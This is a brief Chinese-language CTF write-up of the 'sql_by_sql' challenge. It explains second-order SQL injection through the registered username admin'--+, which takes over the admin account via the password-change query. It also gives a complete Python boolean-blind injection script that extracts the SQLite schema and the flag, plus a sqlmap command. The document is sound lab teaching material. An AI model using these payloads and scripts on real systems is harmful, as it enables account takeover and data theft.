[NSSRound#1 Basic]sql_by_sql

[NSSRound#1 Basic]sql_by_sql

这题没啥难的，二次注入+盲注的套题

先注册，进去有个修改密码
可能是二次注入

修改密码处源码

<!-- update user set password='%s' where username='%s'; -->

重新注册一个admin'--+
获得admin身份（原理看sqli-labs，20多关来着：【详细】 Sqli-labs1~65关 通关详解 解题思路+解题步骤+解析_sqlilabs靶场1–65过关-CSDN博客）

在/query下盲注查询

import requests
import string

str = string.ascii_letters + string.digits

url = "http://node4.anna.nssctf.cn:28926/query"
s = requests.session()
headers = {'Cookie': 'session=eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZjfMvg.GIZuH3fe_fhe_TTllzNnIvaVWpo'}

if __name__ == "__main__":
    name = ''
    for i in range(0,100):
        char = ''
        for j in str:
            #表+字段
            #payload = "1 and substr((select sql from sqlite_master limit 1,1),{},1)='{}'".format(i, j)
            #数据
            payload = "1 and substr((select flag from flag limit 0,1),{},1)='{}'".format(i, j)
            data = {"id": payload}
            r = s.post(url=url, data=data, headers=headers)
            #print(r.text)
            if "exist" in r.text:
                name += j
                print (j, end='')
                char = j
                break
        if char == '%':
            break

NSSCTF{cdec206d-5ddb-4ea1-ac9a-292429de2911}

sqlmap打法：

python sqlmap.py -u "http://node4.anna.nssctf.cn:28926/query" --data="id=1" --cookie="eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZjfMvg.GIZuH3fe_fhe_TTllzNnIvaVWpo"